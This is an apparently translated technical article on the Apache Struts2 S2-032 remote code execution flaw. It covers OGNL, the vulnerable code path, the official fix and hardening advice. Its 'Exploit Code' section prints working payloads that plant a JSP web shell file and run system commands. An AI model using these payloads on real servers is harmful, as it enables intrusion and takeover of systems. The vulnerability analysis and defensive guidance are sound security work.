On April 26, 2016, Apache Struts2 officially issued another security announcement: The Apache Struts2 service can remotely execute any commands when the state method is called on and started. The official number is S2-032 and CVE number is CVE-2016-3081. This is the service's large-scale vulnerability has exploded after four years since the Struts2 command execution vulnerability broke out in 2012. This vulnerability is also the most serious security vulnerability that has been exposed this year. Hackers can use this vulnerability to perform remote operations on enterprise servers, resulting in major security threats such as data leakage, remote host accusation, intranet penetration, etc.
After the vulnerability occurred, it was another collective event for security and related companies. Vulnerability exploiters were using this vulnerability as much as possible to show their superb level; various public testing platforms have released companies that were caught to enhance the role of the platform; major security companies have also made full use of this vulnerability to increase the company's influence, take advantage of marketing, free detection, upgrade as soon as possible, etc. There are still a lot of depressed manufacturers left, and I didn’t ask anyone and mess with anyone; then a large number of depressed development and operation personnel have to upgrade vulnerability patches overnight.
However, the principle of vulnerabilities affects protection and other factors are rarely mentioned. This article is about putting forward your own opinions on the above points.
principle
This vulnerability uses struts2's dynamic execution of OGNL to access any java code. Using this vulnerability, you can scan remote web pages to determine whether there is such a vulnerability, and then send malicious instructions, implement file uploads, execute native commands and other subsequent attacks.
OGNL is the abbreviation of Object-Graph Navigation Language, and its full name is the object graph navigation language. It is a powerful expression language. Through simple and consistent syntax, it can access the object's properties or call the object's methods at will, and can traverse the entire object's structure diagram and realize the conversion of object attribute types and other functions.
#, % and $ symbols often appear in OGNL expressions
1. There are generally three uses of # symbols.
Accessing non-root object properties, such as #session.msg expression, since the Struts 2 median stack is regarded as a root object, you need to prefix when accessing other non-root objects; it is used to filter and project (projecting) sets, such as persons.{?#this.age>25}, persons.{?#this.name=='pla1'}.{age}[0]; it is used to construct maps, such as #{'foo1':'bar1', 'foo2':'bar2'} in the example.
2. %symbol
The purpose of the % symbol is to calculate the value of the OGNL expression when the attribute of the flag is a string type. This is similar to eval in js and is very violent.
3. The $ symbol has two main uses.
In the international resource file, refer to OGNL expressions, such as the code in the international resource file: reg.agerange=International resource information: the age must be between ${min} and ${max}; refer to OGNL expressions in the configuration file of the Struts 2 framework.
Code utilization process
1. Client request
http://{webSiteIP.webApp}:{portNum}/{vul.action}?method={malCmdStr}
2. DefaultActionProxy's DefaultActionProxy function handles requests.
protected DefaultActionProxy(ActionInvocation inv, String namespace, String actionName, String methodName, boolean executeResult, boolean cleanupContext) { this.invocation = inv; this.cleanupContext = cleanupContext; LOG.debug("Creating an DefaultActionProxy for namespace [{}] and action name [{}]", namespace, actionName); this.actionName = StringEscapeUtils.escapeHtml4(actionName); this.namespace = namespace; this.executeResult = executeResult; //Attenders can bypass it through variable passing, syntax filling, character escape and other methods. this.method = StringEscapeUtils.escapeEcmaScript(StringEscapeUtils.escapeHtml4(methodName));}3. DefaultActionMapper method method name of DefaultActionMapper
String name = key.substring(ACTION_PREFIX.length());if (allowDynamicMethodCalls) { int bang = name.indexOf('!'); if (bang != -1) { //Get method name String method = cleanupActionName(name.substring(bang + 1)); mapping.setMethod(method); name = name.substring(0, bang); }}4. Call the invokeAction method of DefaultActionInvocation to execute the passed method.
protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception { String methodName = proxy.getMethod(); LOG.debug("Executing action method = {}", methodName); String timerKey = "invokeAction: " + proxy.getActionName(); try { UtilTimerStack.push(timerKey); Object methodResult; try { //Execute method methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action); } catch (MethodFailedException e) {Solution
The official solution is to add verification in the function cleanupActionName in step 3.
protected Pattern allowedActionNames = Pattern.compile("[a-zA-Z0-9._!///-]*");protected String cleanupActionName(final String rawActionName) { //Check, enter filter regular match ("[a-zA-Z0-9._!///-]*"), which adopts a whitelist method and only limited characters such as upper and lowercase letters and numbers are allowed. if (allowedActionNames.matcher(rawActionName).matches()) { return rawActionName; } else { if (LOG.isWarnEnabled()) { LOG.warn("Action/method [#0] does not match allowed action names pattern [#1], cleaning it up!", rawActionName, allowedActionNames); } String cleanActionName = rawActionName; for (String chunk : allowedActionNames.split(rawActionName)) { cleanActionName = cleanActionName.replace(chunk, ""); } if (LOG.isDebugEnabled()) { LOG.debug("Cleaned action/method name [#0]", cleanActionName); } return cleanActionName; }}Repair suggestions
1. Disable dynamic method calls
Modify the configuration file of Struts2 and set the value of "struts.enable.DynamicMethodInvocation" to false, for example:
<constantname="struts.enable.DynamicMethodInvocation" value="false"/>;
2. Upgrade the software version
Upgrade Struts version to 2.3.20.2, 2.3.24.2 or 2.3.28.1
Patch address: https://struts.apache.org/download.cgi#struts23281
Exploit Code
1. Upload the file:
method:%23_memberAccess%[email][email protected][/email]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.structs2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.structs2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23pat h%3d%23req.getRealPath(%23parameters.pp[0]),new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23path%2b%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23path),%23w.close(),1?%23xx:%23request.toString&shellname=stest.jsp&shellContent=ttt&encoding=UTF-8&pp=%2f
The above code looks a bit inconvenient, let's convert it and take a look.
method:#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected]@getRequest(),#[email protected]@getResponse(),#res.setCharacterEncoding(#parameters.encoding[0]),#w=#res.getWriter(),#path=#req.getRealPath(#parameters.pp[0]),new java.io.BufferedWriter(new java.io.FileWriter(#path+#parameters.shellname[0]).append(#parameters.shellContent[0])).close(),#w.print(#path),#w.close(),1?#xx:#request.toString&shellname=stest.jsp&shellContent=ttt&encoding=UTF-8&pp=/
2. Execute local commands:
method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.structs2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Run time@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=whoami&pp=//A&pp=%20&encoding=UTF-8
Let's take a look after the conversion
method:#_memberAccess[#parameters.name1[0]]=true,#_memberAccess[#parameters.name[0]]=true,#_memberAccess[#parameters.name2[0]]={},#_memberAccess[#parameters.name3[0]]={},#[email protected]@getResponse(),#res.setCharacterEncoding(#parameters.encoding[0]),#w#d#res.getWriter(),#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),#str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.pr int(#str),#w.close(),1?#xx:#request.toString&name=allowStaticMethodAccess&name1=allowPrivateAccess&name2=excludedPackageNamePatterns&name3=excludedClasses&cmd=whoami&pp=//A&pp= &encoding=UTF-8Through the previous introduction, I found that it is relatively easy to understand after the conversion.
How to prevent
There is a very important principle in security, which is the principle of least permissions. The so-called Least Privilege refers to "the privileges that are essential to each principal (user or process) in the network when completing a certain operation." The principle of minimum privilege means that "the minimum privileges that each entity in the network must be limited to ensure that possible accidents, errors, tampering of network components and other losses should be minimized."
For example, if no dynamic method calls are used in the system, they will be removed during deployment, so that even if the patch is not fired, it will still not be used.
One of the most important harms in this system is to execute local processes, which can also be disabled if the system does not perform locally.
Let's take a look at the code that executes local commands in Java code, ProcessImpl in ProcessImpl.
private ProcessImpl(String cmd[], final String envblock, final String path, final long[] stdHandles, final boolean redirectErrorStream) throws IOException { String cmdstr; SecurityManager security = System.getSecurityManager(); boolean allowsAmbiguousCommands = false; if (security == null) { allowAmbiguousCommands = true; //jdk has specified parameters to identify whether local processes can be executed. String value = System.getProperty("jdk.lang.Process.allowAmbiguousCommands"); if (value != null) allowAmbiguousCommands = !"false".equalsIgnoreCase(value); } if (allowAmbiguousCommands) {When java starts, add the parameter -Djdk.lang.Process.allowAmbigousCommands=false, so that java will not execute local processes.
If you can turn off unnecessary content in advance when the system is deployed, the harm of this vulnerability can be reduced or eliminated.